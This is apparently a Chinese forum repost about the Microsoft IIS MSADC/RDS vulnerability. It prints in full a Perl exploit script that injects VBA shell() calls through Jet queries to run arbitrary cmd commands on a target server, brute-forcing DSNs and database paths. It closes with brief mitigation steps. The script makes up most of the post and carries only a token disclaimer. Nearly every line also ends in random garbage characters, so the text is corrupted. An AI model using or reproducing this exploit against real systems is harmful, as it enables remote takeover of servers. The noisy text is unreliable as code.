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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) &>z}u&oF  
} bEu+bZ  
涉及程序: kA(q-Re$B*  
Microsoft NT server AK5$>Pkvk  
m NApFwZ  
描述: >Av%[G5=h#  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 J9`[Qy\  
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详细: 0:k ~  lz  
如果你没有时间读详细内容的话,就删除: *,p16"Q;  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Vr<ypyC  
有关的安全问题就没有了。 D(gpF85t  
-Q P&A >]7  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 gfAVxMg  
'gv7&$X}4  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 g bwg3$!9  
关于利用ODBC远程漏洞的描述,请参看: !Mk:rO-L  
,__|SnA.  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >jBnNA@  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 da53XEF&  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp T#w *5Qf  
dM3V2TT  
这里不再论述。 ^9I^A!w=  
_\2^s&iJh  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: o*1t)HL<  
g@7j<UY  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset =Pg u?WU@  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! @DYkWivLu  
#L,5;R{`  
'BwM{c-O"  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Y&_1U/}h  
9=Rj9%  
#!perl h\^> s$  
# JPTVZ  
# MSADC/RDS 'usage' (aka exploit) script AAt<{  
# ld*RL:G  
# by rain.forest.puppy Rd.[8#7VE  
# G0eJ<*|_ 3  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Ig6>+Mw  
# beta test and find errors! mLn =SU{#  
q7% eLJ  
use Socket; use Getopt::Std; P=9Zm  
getopts("e:vd:h:XR", \%args); ^NTOZ0x~#  
=xX\z\[A  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 6">jf #pE  
'zhw]L;'g  
if (!defined $args{h} && !defined $args{R}) { 0yxMIX  
print qq~ id.W"5+  
Usage: msadc.pl -h <host> { -d <delay> -X -v } J8yi#A>+  
-h <host> = host you want to scan (ip or domain) Wy%F   
-d <seconds> = delay between calls, default 1 second <U$A_ ]*w  
-X = dump Index Server path table, if available |79!exVMBp  
-v = verbose  ]=g |e  
-e = external dictionary file for step 5 x9NLJI21/  
GcPhT  
Or a -R will resume a command session 6\9 9WQ  
d/OIc){tD  
~; exit;} <WGl4#(k  
cnOk  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; wp,z~raaS  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} :B'}#;8_  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} :{tvAdMl7  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); #YSUPO%F  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} s:/.:e_PU  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } , eZL&n  
@kKmkVhu*  
if (!defined $args{R}){ $ret = &has_msadc; ; (+r)r_  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} b\w88=|  
$V)LGu2( m  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ]4>[y?k34  
. "cmd /c "; 7o+!Gts]  
$in=<STDIN>; chomp $in; =7mR#3yt  
$command="cmd /c " . $in ; "ppT<8Qi'  
G K @]61b  
if (defined $args{R}) {&load; exit;} f.=4p^  
pstQithS  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; SJ-g2aAT  
&try_btcustmr; hoihdVjv  
97Qng*i  
print "\nStep 2: Trying to make our own DSN..."; Sn/~R|3XA7  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; GJItGq`)  
(r.{v@h,dV  
print "\nStep 3: Trying known DSNs..."; m!:7ur:Y  
&known_dsn; >1tGQ cg  
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print "\nStep 4: Trying known .mdbs..."; 7 v<$l  
&known_mdb; sz wXr  
K`FgU 7g{  
if (defined $args{e}){ ^[CD-#  
print "\nStep 5: Trying dictionary of DSN names..."; !DCJ2h%E[_  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } m=S[Y^tR  
u hP0Zwn  
print "Sorry Charley...maybe next time?\n"; HJ5m5':a  
exit; lq_W;L  
dTaR 8i  
############################################################################## j78xMGKO  
GD'C^\E aZ  
sub sendraw { # ripped and modded from whisker .VmI4V?}h  
sleep($delay); # it's a DoS on the server! At least on mine... Q[p0bD:  
my ($pstr)=@_; Md {,@ G  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || G6eC.vU]j  
die("Socket problems\n"); xM;gF2  
if(connect(S,pack "SnA4x8",2,80,$target)){ asW1GZO  
select(S); $|=1; ) ZOmv  
print $pstr; my @in=<S>; S_:(I^  
select(STDOUT); close(S); @6$r| :]G-  
return @in; $#@4i4TN-  
} else { die("Can't connect...\n"); }} >UJ&noUD#:  
1 qUdj[Bj  
############################################################################## }]zmp/;a  
GGF;T&DWad  
sub make_header { # make the HTTP request {zUc*9  
my $msadc=<<EOT "\BP+AF  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Whd4-pR8  
User-Agent: ACTIVEDATA Xx|&%b{{r  
Host: $ip ^l^_K)tw*  
Content-Length: $clen #s#z@F  
Connection: Keep-Alive G-3.-  
#K! Df%,<  
ADCClientVersion:01.06 pLzsL>6h  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 *!9/`zW  
?GFxJ6!%I  
--!ADM!ROX!YOUR!WORLD! OqBw&zm  
Content-Type: application/x-varg hDlk! #*  
Content-Length: $reqlen R C (v#G  
Ti3BlWQH  
EOT q 8=u.T  
; $msadc=~s/\n/\r\n/g; bOck^1Hky  
return $msadc;} kM3BP& 3m1  
MmWJYF=  
############################################################################## &OhKx  
.4!N #'  
sub make_req { # make the RDS request N`Bt|#R  
my ($switch, $p1, $p2)=@_; r$v?[x>+K  
my $req=""; my $t1, $t2, $query, $dsn; [k'Ph33c  
c(#`z!FB  
if ($switch==1){ # this is the btcustmr.mdb query <YeF?$S}  
$query="Select * from Customers where City=" . make_shell(); G<jpJ  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . U-FA^c;  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 6@XutciK  
pXFNK" jm  
elsif ($switch==2){ # this is general make table query kw-/h+lG  
$query="create table AZZ (B int, C varchar(10))"; Rc6 )v  
$dsn="$p1";} B E"nyTQ  
k)v[/#I  
elsif ($switch==3){ # this is general exploit table query Msd!4TrBJ  
$query="select * from AZZ where C=" . make_shell(); Km <Wh=  
$dsn="$p1";} GmL|76  
jm-0]ugY&`  
elsif ($switch==4){ # attempt to hork file info from index server mLk Z4OZ  
$query="select path from scope()"; p fBO5Ys  
$dsn="Provider=MSIDXS;";} _kY5 6  
zi?'3T%Ie  
elsif ($switch==5){ # bad query ^CK)q2K>[  
$query="select"; J.<%E[ z  
$dsn="$p1";} ax^${s|{-  
/ a$+EQ$  
$t1= make_unicode($query); D`t e|K5  
$t2= make_unicode($dsn); rmMO-!s  
$req = "\x02\x00\x03\x00"; Yip9K[  
$req.= "\x08\x00" . pack ("S1", length($t1)); >|Jw,,uf  
$req.= "\x00\x00" . $t1 ; 4|$D.`Wu  
$req.= "\x08\x00" . pack ("S1", length($t2)); D} .t  
$req.= "\x00\x00" . $t2 ; 3-mw-;.  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; +1)C&:  
return $req;} #`p>VXBj!  
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############################################################################## r0 X2cc  
o`77gkLO  
sub make_shell { # this makes the shell() statement *}_/:\v  
return "'|shell(\"$command\")|'";} @zJI0_Bp  
BL8\p_U  
############################################################################## i `>X5Da5  
k( g$_ ]X  
sub make_unicode { # quick little function to convert to unicode 7&At _l_  
my ($in)=@_; my $out; iO!lG  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ,{Ab=xV  
return $out;} dJLJh*=AG  
sd[QtK^  
############################################################################## R82Y&s;  
y:A0!75  
sub rdo_success { # checks for RDO return success (this is kludge) fjWh}w8  
my (@in) = @_; my $base=content_start(@in); jO,<7FPs5  
if($in[$base]=~/multipart\/mixed/){ zJnVO$A'  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} }=|ZEhtOp  
return 0;} -1_Z*?=-  
Z>,X$ Y6<  
############################################################################## 4w z 6%  
qXI30Yo#d  
sub make_dsn { # this makes a DSN for us *n*y!z  
my @drives=("c","d","e","f"); zl:D|h77  
print "\nMaking DSN: "; 9#(QS+q~  
foreach $drive (@drives) { [*vN`AfE  
print "$drive: "; 1}BNG,n  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . yQA[X}  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" S!q}Pn  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Lq[wabF  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; %8*d)AB:  
return 0 if $2 eq "404"; # not found/doesn't exist )j6>b-H   
if($2 eq "200") { *h4m<\^U  
foreach $line (@results) { Az-!LAu9 R  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 3E ZwF  
} return 0;} =CVT8(N*  
hX_p5a1t  
############################################################################## A pjqSz"  
7[H`;l  
sub verify_exists { YW{V4yW  
my ($page)=@_; ? g{,MP5  
my @results=sendraw("GET $page HTTP/1.0\n\n"); >Y+KL  
return $results[0];} D9C}Dys  
.zAafi0  
############################################################################## ziycyf.d  
1hviT&  
sub try_btcustmr { VjqdKQeVq  
my @drives=("c","d","e","f"); S1zw'!O5  
my @dirs=("winnt","winnt35","winnt351","win","windows"); S <_pGz$V  
9Bk}g50$#  
foreach $dir (@dirs) { IA^)`l7H  
print "$dir -> "; # fun status so you can see progress I.u,f:Fl'  
foreach $drive (@drives) { 3rY /6{  
print "$drive: "; # ditto Mak9qaWqF>  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; BZ<z@DJp  
$reqlenlen=length( "$reqlen" ); G zXP  
$clen= 206 + $reqlenlen + $reqlen; ]'h)7  
#5C3S3e=  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); O|RO j  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} DjIswI1I  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} #(IMRdUf  
~|9LWp_  
############################################################################## #Q@6:bBzv  
XC1lo4|  
sub odbc_error { erP>P  
my (@in)=@_; my $base;  y:OywIi(  
my $base = content_start(@in); W{+0iAYnp  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Ql@yN@V  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; % 9/)  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {@ y,  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^R7zLHU;  
return $in[$base+4].$in[$base+5].$in[$base+6];} H27Oq8  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; i 9tJHeSm  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . wDhcHB  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 'h^DI`  
otSPi7|k  
############################################################################## C55n  
Kg`x9._2  
sub verbose { 7=.VqC^  
my ($in)=@_; Z{ Zox[/  
return if !$verbose; Au._n,<  
print STDOUT "\n$in\n";} +@u C:3jM  
^Ai_/! "  
############################################################################## .r|vz6tU?  
&E &iaw!  
sub save { \ui^ d  
my ($p1, $p2, $p3, $p4)=@_; ]GtR8w@w  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 6J-}&U  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; eH!|MHe  
close OUT;} $ XsQ e  
IaTq4rt  
##############################################################################  "$Iw Q  
j'*p  
sub load { x\hn;i<  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; EjX'&"3.  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); !en F8a  
@p=<IN>; close(IN); #KNq:@wp6  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); gZEA;N:H%<  
$target= inet_aton($ip) || die("inet_aton problems"); DVoV:pk  
print "Resuming to $ip ..."; q&$0i   
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; CotMV^   
if($p[1]==1) { y [9}[NMZ  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; A%*DQ1N  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; R, w54},  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); T:S{3  
if (rdo_success(@results)){print "Success!\n";} uP=_-ZUW  
else { print "failed\n"; verbose(odbc_error(@results));}} e3={$Ah  
elsif ($p[1]==3){ O?,i?  
if(run_query("$p[3]")){ g} ~<!VpX  
print "Success!\n";} else { print "failed\n"; }} 3:8nwt  
elsif ($p[1]==4){ 4EhBpTg  
if(run_query($drvst . "$p[3]")){ :$cSQ(q9a  
print "Success!\n"; } else { print "failed\n"; }} a H|OA\<  
exit;} KvJP(!{  
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############################################################################## ua|Z`qUyq  
jbhJ;c:  
sub create_table { R`C_CsXir  
my ($in)=@_; _IKP{WNB  
$reqlen=length( make_req(2,$in,"") ) - 28; @j\?h$A/  
$reqlenlen=length( "$reqlen" ); v8vh~^X%P  
$clen= 206 + $reqlenlen + $reqlen; ul=a\;3x#|  
my @results=sendraw(make_header() . make_req(2,$in,"")); ?J@?,rZQ^V  
return 1 if rdo_success(@results); d!QD vO  
my $temp= odbc_error(@results); verbose($temp); 9 QCpXy  
return 1 if $temp=~/Table 'AZZ' already exists/; Kpp *^  
return 0;} =Sb:<q+Q  
gj egzKU  
############################################################################## 8 1K G1i)  
-6~dJTm[t  
sub known_dsn { 1|EU5<  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go p-yOiG8b}  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", u};]LX\E  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", $|cp;~ 1  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); &Rl3y\ r  
enbN0  
foreach $dSn (@dsns) { (LT\ IJSM  
print "."; 'q};L6  
next if (!is_access("DSN=$dSn")); >uchF8)e|  
if(create_table("DSN=$dSn")){ qtwT#z;Y  
print "$dSn successful\n"; ;[OJ-|Q  
if(run_query("DSN=$dSn")){ Fy _<Ui  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { p[@oF5M  
print "Something's borked. Use verbose next time\n";}}} print "\n";} _KM$u>B8  
O^R:_vb3I  
############################################################################## gKs/T'PW  
Zn<(,e  
sub is_access { Gx h~  
my ($in)=@_; 4j@kMe;RjZ  
$reqlen=length( make_req(5,$in,"") ) - 28; _> |R-vQ8  
$reqlenlen=length( "$reqlen" ); V:F+HMBk  
$clen= 206 + $reqlenlen + $reqlen; >0<KkBH  
my @results=sendraw(make_header() . make_req(5,$in,"")); H7tQ#  
my $temp= odbc_error(@results); 93^(O8.  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); o3i,B),K  
return 0;} Xc9p;B>^Ts  
H81.p  
############################################################################## PX69  
/_:T\`5uO  
sub run_query { @O<@f8-  
my ($in)=@_; #lyM+.T  
$reqlen=length( make_req(3,$in,"") ) - 28; A"BtVy[[9  
$reqlenlen=length( "$reqlen" ); V6z@"+  
$clen= 206 + $reqlenlen + $reqlen; v/aPiFlw  
my @results=sendraw(make_header() . make_req(3,$in,"")); KT lP:pB;  
return 1 if rdo_success(@results); *m| t =9E  
my $temp= odbc_error(@results); verbose($temp); ph8Jn+|E  
return 0;} |>IUtUg\  
]w_  
############################################################################## Ukh$`q}  
TJyH/ C  
sub known_mdb { nqurY62Ip  
my @drives=("c","d","e","f","g"); XAQ\OX#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); s}[A4`EWH  
my $dir, $drive, $mdb; '!+ P{  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; gI^L 9jE7  
(DG@<K,6  
# this is sparse, because I don't know of many ebO`A2V'(  
my @sysmdbs=( "\\catroot\\icatalog.mdb", z@Z_] h  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", S6Xb*6  
"\\system32\\certmdb.mdb", yUD_ w  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ~}7$uW0ol  
}DDVGs[  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 2xL!PR-  
"\\cfusion\\cfapps\\forums\\forums_.mdb", :_o] F  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", +gbX}jF0%  
"\\cfusion\\cfapps\\security\\realm_.mdb", Q{.{#G  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 3WO#^}t  
"\\cfusion\\database\\cfexamples.mdb", t?]\M&i&  
"\\cfusion\\database\\cfsnippets.mdb", kW<Yda<a  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", pBg|n=^  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", b"R, p=M  
"\\cfusion\\brighttiger\\database\\cleam.mdb", wO2V%v^bp  
"\\cfusion\\database\\smpolicy.mdb", ,c,Xd  
"\\cfusion\\database\cypress.mdb", RV0>-@/x  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 08Pt(kzNA  
"\\website\\cgi-win\\dbsample.mdb", ,Lt~u_lve  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", .g/ARwM}  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" []A"]p  
); #these are just ]k ::J>84  
foreach $drive (@drives) { ?AeHVQ :C  
foreach $dir (@dirs){ z`emKFbv  
foreach $mdb (@sysmdbs) { >%uAQiU  
print "."; :rz9M@7  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 3~[`[4n^  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; lgkl? 0!  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ sorSyuGr  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; h` irO 5  
} else { print "Something's borked. Use verbose next time\n"; }}}}} =~GE?}.o  
3W7;f!  
foreach $drive (@drives) { Je#!Wd  
foreach $mdb (@mdbs) { bx hPjAL  
print "."; HG{&U:>)  
if(create_table($drv . $drive . $dir . $mdb)){ 0[n c7)sW  
print "\n" . $drive . $dir . $mdb . " successful\n"; 7=7!| UV  
if(run_query($drv . $drive . $dir . $mdb)){ I! h(`  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; '}U_D:o.b  
} else { print "Something's borked. Use verbose next time\n"; }}}} Zdv.PGn  
} xoqiRtlY:  
p{iG{  
############################################################################## @k=cN>ZMc  
D+@-XU<Lp<  
sub hork_idx { =y)p>3p}&  
print "\nAttempting to dump Index Server tables...\n"; F^ I\X  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; $q Zc!Qc  
$reqlen=length( make_req(4,"","") ) - 28; ! (2-(LgA  
$reqlenlen=length( "$reqlen" ); 89LpklD  
$clen= 206 + $reqlenlen + $reqlen; ]]el|  
my @results=sendraw2(make_header() . make_req(4,"","")); E S#rs="  
if (rdo_success(@results)){ $x?NNS_ "J  
my $max=@results; my $c; my %d; ?8 SK\{9r6  
for($c=19; $c<$max; $c++){ iBG`43;  
$results[$c]=~s/\x00//g; 1 L+=|*:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; A)\>#Dv  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; >Y7r \  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; y bo#K  
$d{"$1$2"}="";} YniZ( ~^K  
foreach $c (keys %d){ print "$c\n"; } |ZS 57c:  
} else {print "Index server doesn't seem to be installed.\n"; }} 7%{R#$F  
^y:FjQC:  
############################################################################## T?W[Z_D  
nqZA|-}  
sub dsn_dict { UppBnw  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); xj0cgK|!  
while(<IN>){ PV?]UUc'n<  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; m!rwG(  
next if (!is_access("DSN=$dSn")); F0@Qgk]\  
if(create_table("DSN=$dSn")){ @@'nit  
print "$dSn successful\n"; uWUR3n  
if(run_query("DSN=$dSn")){ 3LKB;  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { CD^CUbGk  
print "Something's borked. Use verbose next time\n";}}} ao)Ck3]  
print "\n"; close(IN);} *f79=x  
K1:a]aU?Iu  
############################################################################## Wm<z?.lS  
 ;KZrl`  
sub sendraw2 { # ripped and modded from whisker HbNYP/MN3  
sleep($delay); # it's a DoS on the server! At least on mine... Q m $(  
my ($pstr)=@_; -u6}T!  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || }KK2WJp#M  
die("Socket problems\n"); }0$mn)*k  
if(connect(S,pack "SnA4x8",2,80,$target)){ vT?Q^PTO  
print "Connected. Getting data"; ;4!=DFbU  
open(OUT,">raw.out"); my @in; }c} ( 5  
select(S); $|=1; print $pstr; Yx6hA#7I  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} RXBb:f  
close(OUT); select(STDOUT); close(S); return @in; V/J>GRjw  
} else { die("Can't connect...\n"); }} #;d)?  
|</"N-#S  
############################################################################## 6G'<[gL j  
'g]hmE  
sub content_start { # this will take in the server headers IQT cYl  
my (@in)=@_; my $c; 3=Z<wD s  
for ($c=1;$c<500;$c++) { {] O`g G  
if($in[$c] =~/^\x0d\x0a/){ 2-~a P  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } wDDxj  
else { return $c+1; }}} \3r3{X _<`  
return -1;} # it should never get here actually IeVLn^?+:  
JL.5QzA  
############################################################################## NjbwGcH%\  
z+jh ;!i  
sub funky { tG/1pW  
my (@in)=@_; my $error=odbc_error(@in); wa" uFW  
if($error=~/ADO could not find the specified provider/){ NUMi])HkN  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 2 #KoN8%  
exit;} -&imjy<  
if($error=~/A Handler is required/){ F<5nGx cC  
print "\nServer has custom handler filters (they most likely are patched)\n"; 9SY(EL  
exit;} .8]Y-  
if($error=~/specified Handler has denied Access/){ Kh)F yV  
print "\nServer has custom handler filters (they most likely are patched)\n"; N=#4L$@-  
exit;}} Id %_{),HX  
jPnO@ H1  
############################################################################## z!:'V]  
y?>#t^  
sub has_msadc { 27>a#vCT  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); va5FxF*%  
my $base=content_start(@results); _F izgs  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 9RxO7K  
return 0;} "IG+V:{ou  
k^^:;OR  
######################## uArR\k(  
MHo1 lrZa+  
[h4o7  
解决方案: k5@d! }#c  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 8a9RML}G<  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 +yWR#[`n  
W/r^ugDV  
拿出来充数 哈哈
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